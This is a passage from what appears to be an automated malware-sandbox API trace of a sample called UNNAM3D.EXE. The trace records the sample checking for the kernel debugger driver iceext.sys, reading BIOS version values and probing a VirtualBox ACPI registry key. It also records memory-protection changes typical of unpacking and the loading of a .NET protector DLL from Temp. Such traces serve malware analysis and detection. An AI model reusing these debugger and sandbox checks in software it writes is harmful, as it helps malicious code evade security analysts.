lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0038.804] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0038.805] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0038.806] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0038.807] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0038.807] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0038.807] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0038.807] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0038.807] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0038.844] VirtualProtect (in: lpAddress=0x77e7f7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x32e5b0 | out: lpflOldProtect=0x32e5b0*=0x20) returned 1 [0038.844] VirtualProtect (in: lpAddress=0x77e7f7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x32e5b4 | out: lpflOldProtect=0x32e5b4*=0x40) returned 1 [0038.844] VirtualProtect (in: lpAddress=0x77df000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x32e5b0 | out: lpflOldProtect=0x32e5b0*=0x20) returned 1 [0038.845] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x32e5b4 | out: Wow64Process=0x32e5b4) returned 1 [0038.845] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x71da1f8b | out: phkResult=0x71da1f8b*=0x210) returned 0x0 [0038.845] RegQueryValueExA (in: hKey=0x210, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x29d1e58b | out: lpType=0x0, lpData=0x71df3ee5*=0x53, lpcbData=0x71c583f4*=0x1e) returned 0x0 [0038.845] RegCloseKey (hKey=0x210) returned 0x0 [0038.845] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x71da1f8b | out: phkResult=0x71da1f8b*=0x210) returned 0x0 [0038.845] RegQueryValueExA (in: hKey=0x210, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x200 | out: lpType=0x0, lpData=0x71df3ee5*=0x4c, lpcbData=0x71c583f4*=0x73) returned 0x0 [0038.846] RegQueryValueExA (in: hKey=0x210, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x200 | out: lpType=0x0, lpData=0x71df3ee5*=0x4c, lpcbData=0x71c583f4*=0x200) returned 0x2 [0038.846] RegQueryValueExA (in: hKey=0x210, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x71df3ee5, lpcbData=0x71c583f4*=0x200 | out: lpType=0x0, lpData=0x71df3ee5*=0x4c, lpcbData=0x71c583f4*=0x73) returned 0x0 [0038.846] RegCloseKey (hKey=0x210) returned 0x0 [0038.846] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x71da1f8b | out: phkResult=0x71da1f8b*=0x0) returned 0x2 [0038.847] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0038.847] VirtualProtect (in: lpAddress=0x71c01000, dwSize=0x0, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x6f89823f) returned 0 [0038.847] VirtualProtect (in: lpAddress=0x71c01000, dwSize=0x0, flNewProtect=0x6f89823f, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x6f89823f) returned 0 [0038.847] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0038.847] VirtualAlloc (lpAddress=0x0, dwSize=0x12600, flAllocationType=0x1000, flProtect=0x4) returned 0x4d0000 [0038.847] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12600, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x20) returned 1 [0038.851] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12600, flNewProtect=0x20, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.852] VirtualFree (lpAddress=0x4d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.852] VirtualAlloc (lpAddress=0x0, dwSize=0x1800, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.852] VirtualProtect (in: lpAddress=0x71c24000, dwSize=0x1800, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0038.853] VirtualProtect (in: lpAddress=0x71c24000, dwSize=0x1800, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.853] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.853] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.853] VirtualProtect (in: lpAddress=0x71c26000, dwSize=0x200, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x8) returned 1 [0038.854] VirtualProtect (in: lpAddress=0x71c26000, dwSize=0x200, flNewProtect=0x8, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.854] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.854] VirtualAlloc (lpAddress=0x0, dwSize=0xe00, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.854] VirtualProtect (in: lpAddress=0x71c27000, dwSize=0xe00, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x8) returned 1 [0038.854] VirtualProtect (in: lpAddress=0x71c27000, dwSize=0xe00, flNewProtect=0x8, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.855] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.855] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.855] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x8) returned 1 [0038.855] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x400, flNewProtect=0x8, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.856] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.856] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.856] VirtualProtect (in: lpAddress=0x71c29000, dwSize=0x400, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0038.856] VirtualProtect (in: lpAddress=0x71c29000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.856] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.857] VirtualAlloc (lpAddress=0x0, dwSize=0xa00, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.857] VirtualProtect (in: lpAddress=0x71c2a000, dwSize=0xa00, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0038.857] VirtualProtect (in: lpAddress=0x71c2a000, dwSize=0xa00, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.857] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.858] VirtualProtect (in: lpAddress=0x71c27000, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.858] VirtualProtect (in: lpAddress=0x71c272ec, dwSize=0x274, flNewProtect=0x40, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x40) returned 1 [0038.858] VirtualProtect (in: lpAddress=0x71c272ec, dwSize=0x244, flNewProtect=0x40, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x40) returned 1 [0038.858] GetModuleHandleA (lpModuleName="CRYPT32.dll") returned 0x77240000 [0038.858] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x76e60000 [0038.859] GetModuleHandleA (lpModuleName="VERSION.dll") returned 0x75870000 [0038.859] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76d60000 [0038.859] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x769a0000 [0038.859] VirtualAlloc (lpAddress=0x0, dwSize=0x4eb8, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.880] GetProcAddress (hModule=0x77de0000, lpProcName="RtlAllocateHeap") returned 0x77e0e026 [0038.880] GetProcAddress (hModule=0x77de0000, lpProcName="RtlLeaveCriticalSection") returned 0x77e02270 [0038.880] GetProcAddress (hModule=0x77de0000, lpProcName="RtlEnterCriticalSection") returned 0x77e022b0 [0038.880] GetProcAddress (hModule=0x77de0000, lpProcName="RtlInitializeCriticalSection") returned 0x77e12c42 [0038.880] GetProcAddress (hModule=0x77de0000, lpProcName="RtlReAllocateHeap") returned 0x77e21f6e [0038.881] GetProcAddress (hModule=0x77de0000, lpProcName="RtlSizeHeap") returned 0x77e13002 [0038.881] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12497, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x20) returned 1 [0038.882] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x361, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.883] VirtualProtect (in: lpAddress=0x71c11000, dwSize=0x12497, flNewProtect=0x20, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.883] VirtualProtect (in: lpAddress=0x71c28000, dwSize=0x361, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.883] VirtualProtect (in: lpAddress=0x71c00000, dwSize=0x1d8, flNewProtect=0x4, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x2) returned 1 [0038.883] VirtualProtect (in: lpAddress=0x71c00000, dwSize=0x1d8, flNewProtect=0x2, lpflOldProtect=0x71c6c946 | out: lpflOldProtect=0x71c6c946*=0x4) returned 1 [0038.884] GetProcessHeap () returned 0x3d0000 [0038.884] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x10) returned 0x428778 [0038.884] GetProcessHeap () returned 0x3d0000 [0038.884] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x10) returned 0x428790 [0038.884] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 1 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Initialize", cchWideChar=11, lpMultiByteStr=0x32ea3c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Initialize", lpUsedDefaultChar=0x0) returned 11 [0038.888] GetProcAddress (hModule=0x71c00000, lpProcName="_Initialize") returned 0x71c1142e [0038.896] GetCurrentProcess () returned 0xffffffff [0038.896] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x32e0f4 | out: TokenHandle=0x32e0f4*=0x20c) returned 1 [0038.965] CoTaskMemAlloc (cb=0x20c) returned 0x43c230 [0038.965] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x43c230 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0038.965] CoTaskMemFree (pv=0x43c230) [0038.965] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x32dc60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0038.965] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", nBufferLength=0x105, lpBuffer=0x32dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", lpFilePart=0x0) returned 0x4a [0038.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32e038) returned 1 [0038.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0x32e0b4 | out: lpFileInformation=0x32e0b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2706a440, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x270905a0, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32e034) returned 1 [0038.965] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x32dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0038.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32e0b0) returned 1 [0038.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), fInfoLevelId=0x0, lpFileInformation=0x32e12c | out: lpFileInformation=0x32e12c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270905a0, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x27128b20, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x218930)) returned 1 [0038.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32e0ac) returned 1 [0038.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", cchWideChar=91, lpMultiByteStr=0x32e0a8, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpUsedDefaultChar=0x0) returned 91 [0038.966] LoadLibraryA (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll") returned 0x71c00000 [0038.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Initialize", cchWideChar=11, lpMultiByteStr=0x32e1e4, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Initialize", lpUsedDefaultChar=0x0) returned 11 [0038.966] GetProcAddress (hModule=0x71c00000, lpProcName="_Initialize") returned 0x71c1142e [0038.966] VirtualQuery (in: lpAddress=0x71c26594, lpBuffer=0x32dbf8, dwLength=0x1c | out: lpBuffer=0x32dbf8*(BaseAddress=0x71c26000, AllocationBase=0x71c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000)) returned 0x1c [0038.966] GetProcessHeap () returned 0x3d0000 [0038.966] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x419e98 [0038.966] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x224 [0038.966] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x228 [0038.966] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x22c [0038.966] GetCurrentThreadId () returned 0x248 [0038.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x71c1114f, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x32dc18 | out: lpThreadId=0x32dc18*=0x95c) returned 0x230 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe4) returned 0x43c230 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431bc8 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431c10 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431c58 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431ca0 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431ce8 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431d30 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.967] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431d78 [0038.967] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431dc0 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431e08 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431e50 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431e98 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431ee0 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431f28 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x40) returned 0x431f70 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x4287d8 [0038.968] GetCurrentProcess () returned 0xffffffff [0038.968] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x0, cb=0x0, lpcbNeeded=0x32d694 | out: lphModule=0x0, lpcbNeeded=0x32d694) returned 1 [0038.968] GetProcessHeap () returned 0x3d0000 [0038.968] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x220) returned 0x43c320 [0038.968] EnumProcessModules (in: hProcess=0xffffffff, lphModule=0x43c320, cb=0x220, lpcbNeeded=0x32d694 | out: lphModule=0x43c320, lpcbNeeded=0x32d694) returned 1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0xb00000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="UNNAM3D.EXE") returned 0xb [0038.969] lstrcmpiA (lpString1="UNNAM3D.EXE", lpString2="mscorjit.dll") returned 1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77de0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="ntdll.dll") returned 0x9 [0038.969] lstrcmpiA (lpString1="ntdll.dll", lpString2="mscorjit.dll") returned 1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75500000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0038.969] lstrcmpiA (lpString1="MSCOREE.DLL", lpString2="mscorjit.dll") returned -1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x769a0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="KERNEL32.dll") returned 0xc [0038.969] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="mscorjit.dll") returned -1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77990000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0038.969] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="mscorjit.dll") returned -1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x771a0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0038.969] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="mscorjit.dll") returned -1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x776b0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="msvcrt.dll") returned 0xa [0038.969] lstrcmpiA (lpString1="msvcrt.dll", lpString2="mscorjit.dll") returned 1 [0038.969] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x759a0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="sechost.dll") returned 0xb [0038.970] lstrcmpiA (lpString1="sechost.dll", lpString2="mscorjit.dll") returned 1 [0038.970] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76c70000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="RPCRT4.dll") returned 0xa [0038.970] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="mscorjit.dll") returned 1 [0038.970] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75940000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="SspiCli.dll") returned 0xb [0038.970] lstrcmpiA (lpString1="SspiCli.dll", lpString2="mscorjit.dll") returned 1 [0038.970] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75930000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0038.970] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="mscorjit.dll") returned -1 [0038.970] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x753e0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="mscoreei.dll") returned 0xc [0038.970] lstrcmpiA (lpString1="mscoreei.dll", lpString2="mscorjit.dll") returned -1 [0038.970] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77360000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0038.970] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="mscorjit.dll") returned 1 [0038.970] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77800000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="GDI32.dll") returned 0x9 [0038.971] lstrcmpiA (lpString1="GDI32.dll", lpString2="mscorjit.dll") returned -1 [0038.971] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x76d60000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="USER32.dll") returned 0xa [0038.971] lstrcmpiA (lpString1="USER32.dll", lpString2="mscorjit.dll") returned 1 [0038.971] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75b70000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="LPK.dll") returned 0x7 [0038.971] lstrcmpiA (lpString1="LPK.dll", lpString2="mscorjit.dll") returned -1 [0038.971] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77760000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="USP10.dll") returned 0x9 [0038.971] lstrcmpiA (lpString1="USP10.dll", lpString2="mscorjit.dll") returned 1 [0038.971] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x77030000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="IMM32.DLL") returned 0x9 [0038.972] lstrcmpiA (lpString1="IMM32.DLL", lpString2="mscorjit.dll") returned -1 [0038.972] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x770d0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSCTF.dll") returned 0x9 [0038.972] lstrcmpiA (lpString1="MSCTF.dll", lpString2="mscorjit.dll") returned 1 [0038.972] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x75870000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="VERSION.dll") returned 0xb [0038.972] lstrcmpiA (lpString1="VERSION.dll", lpString2="mscorjit.dll") returned 1 [0038.972] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x74640000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="clr.dll") returned 0x7 [0038.972] lstrcmpiA (lpString1="clr.dll", lpString2="mscorjit.dll") returned -1 [0038.972] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x752e0000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0038.973] lstrcmpiA (lpString1="MSVCR120_CLR0400.dll", lpString2="mscorjit.dll") returned 1 [0038.973] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x72b80000, lpBaseName=0x32d290, nSize=0x400 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0038.973] lstrcmpiA 